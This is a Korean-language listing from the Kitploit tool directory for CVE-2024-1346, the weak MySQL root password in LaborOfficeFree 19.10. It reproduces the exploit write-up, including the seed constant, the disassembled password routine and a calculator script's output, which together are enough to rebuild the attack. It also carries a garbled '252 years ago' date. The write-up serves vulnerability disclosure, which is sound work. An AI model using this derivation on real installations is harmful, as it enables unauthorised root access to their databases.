Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-1346 — LaborOfficeFree의 MySQL 데이터베이스 루트 비밀번호 취약점이 버전 19.10에 영향을 미칩니다. 이 취약점으로 인해 공격자는 두 개의 상수를 사용하여 LaborOfficeFree에서 사용하는 MySQL 데이터베이스의 루트 비밀번호를 계산할 수 있습니다. | Kitploit
도구/GitHubGitHub/petergabaldon/cve-2024-1346
Password CrackingVulnerability AnalysisExploitationReverse EngineeringBinary AnalysisDatabase Security
GitHubpetergabaldon/cve-2024-1346

CVE-2024-1346

LaborOfficeFree의 MySQL 데이터베이스 루트 비밀번호 취약점이 버전 19.10에 영향을 미칩니다. 이 취약점으로 인해 공격자는 두 개의 상수를 사용하여 LaborOfficeFree에서 사용하는 MySQL 데이터베이스의 루트 비밀번호를 계산할 수 있습니다.

저장소 보기
252년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-1346

LaborOfficeFree의 약한 MySQL 데이터베이스 루트 비밀번호가 버전 19.10에 영향을 미칩니다. 이 취약점으로 인해 공격자는 두 개의 상수를 사용하여 LaborOfficeFree에서 사용하는 MySQL 데이터베이스의 루트 비밀번호를 계산할 수 있습니다.

Exploit Title: LaborOfficeFree 19.10 MySQL Root Password Calculator - CVE-2024-1346

Google Dork: N/A

Date: 09/02/2023

Exploit Author: Peter Gabaldon - https://pgj11.com/

Vendor Homepage: https://www.laborofficefree.com/

Software Link: https://www.laborofficefree.com/#plans

Version: 19.10

Tested on: Windows 10

CVE : CVE-2024-1346

Description: LaborOfficeFree는 MySQL 인스턴스를 설치하며, 이 인스턴스는 SYSTEM으로 실행되고 두 개의 상수에 기반하여 MySQL 루트 비밀번호를 계산합니다. 프로그램이 MySQL에 루트로 연결해야 할 때마다 역 알고리즘을 사용하여 루트 비밀번호를 계산합니다. 이 문제는 버전 19.10에서만 테스트되었지만, 19.10 이전 버전도 취약할 것으로 추정됩니다.

root@kitploit:~
	After installing LaborOfficeFree in testing lab and revesing the backup process, it is possible to determine that it creates a "mysqldump.exe" process with the root user and the password being derived from the string "hola" concated with "00331-20471-98465-AA370" (in this case). This appears to be the license, but it is different from the license shown in the GUI dashboard. This license has to be extracted from memory. From example, attaching a debugger and breaking in the mysqldump process (for that, admin rights are NOT needed).

    Also, the app checks if you are an admin to perform the backup and fails if the program is not running as adminsitrator. But, this check is not effective, as it is actually calling mysqldump with a derived password. Thus, administrator right are not needed. 

    Here is the disassembly piece of the procedure in LaborOfficeFree.exe responsible of calculating the root password.

    00506548 | 53                       | push ebx                                | Aqui se hacen el XOR y demas que calcula la pwd :)
    00506549 | 56                       | push esi                                |
    0050654A | A3 7CFD8800              | mov dword ptr ds:[88FD7C],eax           | eax:"hola00331-20471-98465-AA370"
    0050654F | 0FB7C2                   | movzx eax,dx                            | eax:"hola00331-20471-98465-AA370"
    00506552 | 85C0                     | test eax,eax                            | eax:"hola00331-20471-98465-AA370"
    00506554 | 7E 2E                    | jle laborofficefree.506584              |
    00506556 | BA 01000000              | mov edx,1                               |
    0050655B | 8B1D 7CFD8800            | mov ebx,dword ptr ds:[88FD7C]           |
    00506561 | 0FB65C13 FF              | movzx ebx,byte ptr ds:[ebx+edx-1]       |
    00506566 | 8B31                     | mov esi,dword ptr ds:[ecx]              |
    00506568 | 81E6 FF000000            | and esi,FF                              |
    0050656E | 33DE                     | xor ebx,esi                             |
    00506570 | 8B1C9D A40B8800          | mov ebx,dword ptr ds:[ebx*4+880BA4]     |
    00506577 | 8B31                     | mov esi,dword ptr ds:[ecx]              |
    00506579 | C1EE 08                  | shr esi,8                               |
    0050657C | 33DE                     | xor ebx,esi                             |
    0050657E | 8919                     | mov dword ptr ds:[ecx],ebx              |
    00506580 | 42                       | inc edx                                 |
    00506581 | 48                       | dec eax                                 | eax:"hola00331-20471-98465-AA370"
    00506582 | 75 D7                    | jne laborofficefree.50655B              |
    00506584 | 5E                       | pop esi                                 |
    00506585 | 5B                       | pop ebx                                 |
    00506586 | C3                       | ret                                     | 

    The result number from this procedure is then negated (bitwise NOT) and casted as a signed integer. Note: the address 0x880BA4 stores a constant array of 256 DWORDs entries.

    005065C8 | F755 F8                  | not dword ptr ss:[ebp-8]                |


	Running this script produces the root password of the LaborOfficeFree MySQL.

    C:\Users\***\Desktop>python myLaborRootPwdCalculator.py
    1591779762
    
    C:\Users\***\Desktop>
도구 다운로드